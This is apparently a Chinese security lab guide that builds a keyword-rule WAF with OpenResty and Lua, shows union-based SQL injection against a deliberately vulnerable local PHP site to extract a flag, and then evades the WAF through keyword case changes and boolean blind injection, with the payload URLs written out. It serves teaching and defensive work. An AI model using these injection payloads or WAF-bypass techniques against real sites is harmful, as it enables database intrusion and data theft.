预备知识
WAF:WEB攻击一直是黑客攻击的主流手段,WAF作为网站安全基础设施的标配。Web Application Firewall,Web应用防火墙,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。
Nginx:Nginx 是一个高性能的HTTP和反向代理服务器,其特点是占有内存少,并发能力强。
Lua:Lua是一个小巧的脚本语言,由标准C编写而成,几乎在所有操作系统和平台上都可以编译运行。Lua脚本可以很容易的被C/C++ 代码调用,也可以反过来调用C/C++的函数,这使得Lua在应用程序中可以被广泛应用。
OpenResty:Nginx开发主要是以C/C++模块的形式进行,整体学习和开发成本偏高。如果有一种简单的语言来实现Web应用的开发,那么Nginx绝对是把瑞士军刀;目前市面上用的非常成熟的扩展是由章亦春将Lua和Nginx粘合的ngx_lua模块,并将Nginx核心、LuaJIT、ngx_lua模块、许多有用的Lua库和常用的第三方Nginx模块组合在一起成为OpenResty。这样开发人员就可以安装OpenResty,使用Lua编写脚本,然后部署到Nginx Web容器中运行。从而非常轻松就能开发出高性能的Web服务。
参考资料
OpenResty官方文档 https://openresty.org/en/
实验目的
1)本实验通过搭建一个包含SQL注入漏洞的网站,在无WAF的情况下模拟进行渗透测试,获得flag(包含英文、符号等不超过15位)
2) 使用自制的WAF进行防御,读者可以查看、修改规则,使其直观感受基于规则的WAF的工作原理和防御机制。
3) 分析相关防御规则,尝试使用其他方法进行WAF绕过,使读者感受攻防双方的博弈过程。
实验环境
Ubuntu 64bit、IP地址:10.1.1.47
网络拓扑:如下图,Nginx作为前端反向代理,监听80端口,并可使用ngx_lua对流量进行过滤。后端目标web使用Apache作为Web容器,并使用php构建一个简易的Web。
大致流程:用户访问目标地址,Nginx反向代理接受请求,Ngx_lua模块将流量过滤后,将请求发送给后端web,后端web处理后将结果返回给Nginx,Nginx返回给用户。
说明:事实上,目前流行的云WAF主要也是基于反向代理,通过域名解析将访问流量引入云端进行过滤,之后云端访问众多需要保护的Web站点,并将结果返回给用户。云WAF往往和后端众多受保护的WEB服务身处不同服务器,并且后端服务一般不能直接访问。本实验为了方便读者实验和操作,便将WAF和后端Web放置同一台服务器,并将后端Web的默认端口80修改为8080来实现,请读者知悉。
所用软件:firefox、hackbar插件、python
实验步骤一
首先关闭WAF的防御功能(默认为关闭状态),使用firefox浏览器,对目标web进行查看渗透,获得flag。
1. 实验环境准备
安装firefox
安装配置好openresty,使用ngx_lua模块制作基于规则的WAF,修改nginx配置文件,配置其为后台web进行反向代理
2. 查看、修改WAF配置(文件位置在/usr/local/openresty/nginx/conf/waf/config.lua),关闭防御(默认为关闭状态,此步骤无需进行)
3. 使用firefox进行渗透测试,通过单引号截断sql查询语句:
http://127.0.0.1/index.php?id=1' and 1=1 %23
4. 可以利用and 1=2进行union注入,获取注入结果回显。
http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 %23
5. 2的位置可以回显,接下来猜测表名,当from flag的时候可以正常回显:
http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 from flag %23
6. 表名错误的话则查询不到数据:
http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 from flag222 %23
7. 列名类似,最终的poc为:http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23
8. 得到flag为:SQLi so easy!
实验步骤二
任务描述:打开WAF的防御功能,使用firefox浏览器对目标web进行渗透尝试
1. 开启WAF防御功能,修改/usr/local/openresty/nginx/conf/waf/config.lua文件,将off修改为on
2. 重新加载nginx,命令为nginx -s reload,使得WAF配置修改生效
3. 使用上述成功的poc进行注入尝试,发现此时的注入攻击已经被WAF拦截
4.查看WAF的过滤规则,文件在/usr/local/openresty/nginx/conf/waf/rule-config/目录下的args.rule文件,打开后文件内容为
5.可以看出上述注入攻击poc,http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23 触发了如下图的过滤规则
实验步骤三
任务描述:分析WAF规则,思考如何对上述防御进行绕过
1. 可以发现相关防御规则只是对某些关键词(如select和from、union和select等)联合使用进行规则匹配,如果匹配成功,则进行拦截。
2. 而上述攻击poc触发了相关的union+select的规则,http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23,而且关键词并没有对忽略大小写,因此可以尝试替换关键词的大小写进行绕过:
3. 如果WAF对关键词大小写进行忽略,还可以考虑使用Bool型盲注:
通过substr取出第一位然后用ascii码判断,可以得到第一位的ascii码为102,即’f’,并且没有触发任何WAF规则,成功获得回显。
http://127.0.0.1/index.php?id=1' && Exists(Select flag from flag where ascii(substr(flag,1,1))=102) %23
4. 而如果判断不对,则没有回显。
5. 因此可以通过盲注脚本,根据页面的回显对每一位字符进行猜测,从而也可攻击成功,获得flag。可直接运行python poc.py命令进行盲注。(poc.py位于桌面)
实验截图:
poc.py如下